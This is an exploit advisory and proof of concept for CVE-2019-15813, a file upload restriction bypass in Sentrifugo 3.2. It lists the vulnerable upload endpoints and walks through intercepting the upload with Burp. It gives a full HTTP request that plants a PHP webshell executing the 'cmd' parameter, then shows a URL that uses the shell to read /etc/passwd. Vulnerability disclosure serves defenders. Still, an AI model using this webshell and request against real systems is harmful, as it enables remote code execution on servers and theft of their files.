64 lines
No EOL
2.5 KiB
Text
64 lines
No EOL
2.5 KiB
Text
# Exploit Title: Sentrifugo 3.2 - File Upload Restriction Bypass
|
|
# Google Dork: N/A
|
|
# Date: 8/29/2019
|
|
# Exploit Author: creosote
|
|
# Vendor Homepage: http://www.sentrifugo.com/
|
|
# Version: 3.2
|
|
# Tested on: Ubuntu 18.04
|
|
# CVE : CVE-2019-15813
|
|
|
|
Multiple File Upload Restriction Bypass vulnerabilities were found in Sentrifugo 3.2. This allows for an authenticated user to potentially obtain RCE via webshell.
|
|
|
|
File upload bypass locations:
|
|
|
|
/sentrifugo/index.php/mydetails/documents -- Self Service >> My Details >> Documents (any permissions needed)
|
|
sentrifugo/index.php/policydocuments/add -- Organization >> Policy Documents (higher permissions needed)
|
|
|
|
|
|
# POC
|
|
|
|
1. Self Service >> My Details >> Documents >> add New Document (/sentrifugo/index.php/mydetails/documents)
|
|
2. Turn Burp Intercept On
|
|
3. Select webshell with valid extension - ex: shell.php.doc
|
|
4. Alter request in the upload...
|
|
Update 'filename' to desired extension. ex: shell.php
|
|
Change content type to 'application/x-httpd-php'
|
|
|
|
Example exploitation request:
|
|
|
|
====================================================================================================
|
|
|
|
POST /sentrifugo/index.php/employeedocs/uploadsave HTTP/1.1
|
|
Host: 10.42.1.42
|
|
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:60.0) Gecko/20100101 Firefox/60.0
|
|
Accept: application/json, text/javascript, */*; q=0.01
|
|
Accept-Language: en-US,en;q=0.5
|
|
Accept-Encoding: gzip, deflate
|
|
Referer: http://10.42.1.42/sentrifugo/index.php/mydetails/documents
|
|
X-Requested-With: XMLHttpRequest
|
|
Content-Length: 494
|
|
Content-Type: multipart/form-data; boundary=---------------------------205946976257369239535727507
|
|
Cookie: PHPSESSID=vr0ik0kof2lpg0jlc9gp566qb5
|
|
Connection: close
|
|
|
|
-----------------------------205946976257369239535727507
|
|
Content-Disposition: form-data; name="myfile"; filename="shell.php"
|
|
Content-Type: application/x-httpd-php
|
|
|
|
<?php $cmd=$_GET['cmd']; system($cmd);?>
|
|
|
|
-----------------------------205946976257369239535727507
|
|
Content-Disposition: form-data; name=""
|
|
|
|
undefined
|
|
-----------------------------205946976257369239535727507
|
|
Content-Disposition: form-data; name=""
|
|
|
|
undefined
|
|
-----------------------------205946976257369239535727507--
|
|
|
|
====================================================================================================
|
|
|
|
5. With intercept still on, Save the document and copy the 'file_new_names' parmeter from the new POST request.
|
|
6. Append above saved parameter and visit your new webshell
|
|
Ex: http://10.42.1.42/sentrifugo/public/uploads/employeedocs/1565996140_5_shell.php?cmd=cat /etc/passwd |